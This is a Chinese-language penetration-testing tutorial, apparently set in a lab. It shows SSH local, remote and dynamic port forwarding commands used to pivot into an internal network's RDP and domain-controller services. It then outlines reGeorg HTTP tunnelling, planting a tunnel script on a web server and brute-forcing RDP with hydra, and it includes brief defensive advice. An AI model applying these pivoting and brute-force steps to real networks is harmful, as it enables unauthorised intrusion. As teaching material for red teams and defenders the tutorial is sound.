简介
无论是做渗透测试,还是红蓝对抗中,在内网建立一个稳定、可靠的数据通道对往后的渗透攻击是非常重要的。应用层的隧道通信技术主要利用应用软件提供的端口来发送数据。常用的隧道协议有SSH、HTTP/HTTPS和DNS协议。
SSH协议
在内网中几乎所有的Linux/Unix服务器和网络设备都支持SSH协议。在一般情况下SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用。同时,SSH协议的传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者利用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。
首先我们先解释下Linux的ssh命令参数的作用
参数 | 作用 |
---|---|
-C | 压缩传输,提高传输速度 |
-f | 将SSH传输传入后台执行,不占用当前的shell |
-N | 建立静默连接(建立了连接,但是看不到具体会话) |
-g | 允许远程主机连接本地用于转发的端口 |
-L | 本地端口转发 |
-R | 远程端口转发 |
-D | 动态转发(SOCKS代理) |
-P | 指定SSH端口 |
本地转发
测试环境为:攻击者的VPS能访问内网Web服务器,但不能访问数据库服务器,内网Web服务器和数据库服务器可以相互访问。我们现在以Web服务器172.16.179.68为跳板,将内网数据库服务器192.168.108.108的3389端口映射到VPS机器172.16.179.87的1153端口,再访问VPS的1153端口,就可以访问数据库服务器的3389端口了。以下为网络通信拓扑图
首先我们得在VPS上执行以下命令,它会要求输入Web服务器跳板机的密码,命令的格式为ssh -CfNg -L 1153(VPS端口):192.168.108.108(目标主机):3389(目标端口) root@172.16.179.68(跳板机)
输入完密码后,我们查看下本地1153端口是否已经连接。可以看到,在本地映射时,本地的SSH进程会监听1153端口。
执行rdesktop 127.0.0.1:1153
命令访问本地VPS的1153端口。可以发现已经与数据库服务器的3389端口建立了连接。
实现的原理是:SSH进程的本地端口映射可以将本地(客户机)的某个端口(1153端口)转发到远端指定机器的指定端口(3389端口);本地端口转发是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过SSH隧道传输到远端的对应端口。
远程转发
测试环境为:攻击者的VPS不能访问内网中的三台服务器,内网没有边界服务器,内网的Web服务器能访问外网的VPS,但是数据库和域控均不能访问外网VPS。以下是设定好的防火墙规则,已经实现了这个效果
以下是实验的拓扑图
我们现在以Web服务器为跳板,将VPS的3307端口的流量转发到数据库服务器的3389端口,然后访问VPS的3307端口,就可以访问数据库的3389端口了。
我们在Web服务器跳板机上执行如下命令ssh -CfNg -R 3307:192.168.108.108:3389 root@172.16.179.87(VPS主机)
然后我们查看VPS的3307端口已经在本地进行监听
尝试远程登录win2008主机,并且登录成功
实现原理是: 本地转发是将远程主机(服务器)某个端口的数据转发到本地机器的指定端口。但是远程转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口上。
动态转发
测试网络拓扑图如下
首先我们在VPS上执行如下命令ssh -CfNg -D 7000 testuser03@hacke.testlab@172.16.179.68
,建立一个动态的SOCKS4/5代理通道
接下来我们在本地浏览器上设置网络代理,通过浏览器访问内网域控制器
我们可以查看一下本地7000端口是否已经连接,可以看到在使用动态映射时,本地主机的SSH进程正在监听7000端口
可以看到我们能成功访问到域控的页面
实现原理: 动态端口映射就是建立一个SSH加密的SOCKS4/5代理通道。任何支持SOCKS4/5协议的程序都可以使用这个加密通道进行代理访问。
防御SSH隧道攻击
SSH隧道之所以能够被攻击者利用,是因为系统访问控制措施不够。我们必须在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等。我们在内网中至少得限制SSH远程登录的地址和双向访问控制策略。
HTTP/HTTPS协议
HTTP Service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpreter、tunna等。reGeorg主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。因为reGeorg脚本的特征很明显,很多杀软都会对其进行查杀。
首先我们在kali上开启apache2服务
然后使用wget命令将tunnel.nosocket.php文件下载到Web服务器的apache目录上
然后在kali上开启我们的监听,监听端口是9999
接着我们配置一下proxychains文件
然后我们使用hydra工具对目标主机的3389端口进行暴力破解